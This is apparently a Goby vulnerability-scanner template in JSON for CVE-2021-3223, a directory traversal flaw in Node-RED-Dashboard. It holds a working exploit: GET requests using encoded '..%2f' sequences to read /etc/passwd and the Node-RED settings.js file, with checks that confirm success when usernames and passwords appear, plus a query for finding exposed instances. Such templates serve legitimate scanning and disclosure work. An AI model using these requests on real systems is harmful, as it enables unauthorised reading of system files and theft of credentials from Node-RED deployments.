{
      "Name": "Node-RED ui_base Arbitrary File Read CVE-2021-3223",
      "Level": "2",
      "Tags": [
            "fileread"
      ],
      "GobyQuery": "title=\"Node-RED\"",
      "Description": "Node-RED is a programming tool for wiring together hardware devices, APIs and online services in new and interesting ways.",
      "Product": "Node-RED",
      "Homepage": "https://nodered.org/",
      "Author": "",
      "Impact": "Node-RED-Dashboard before 2.26.2 allows ui_base/js/..%2f directory traversal to read files.",
      "Recommendation": "https://github.com/node-red/node-red-dashboard/releases/tag/2.26.2",
      "References": [
            "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3223",
            "https://github.com/node-red/node-red-dashboard/issues/669",
            "https://mp.weixin.qq.com/s/KRGKXAJQawXl88RBPTaAeg"
      ],
      "HasExp": true,
      "ExpParams": null,
      "ExpTips": {
            "Type": "",
            "Content": ""
      },
      "ScanSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd",
                        "follow_redirect": false,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "root:x:",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "bin:x:",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody|regex|"
                  ]
            }
      ],
      "ExploitSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/ui_base/js/..%2f..%2f..%2f..%2fsettings.js",
                        "follow_redirect": false,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "username",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "password",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody||"
                  ]
            }
      ],
      "PostTime": "0000-00-00 00:00:00",
      "GobyVersion": "0.0.0"
}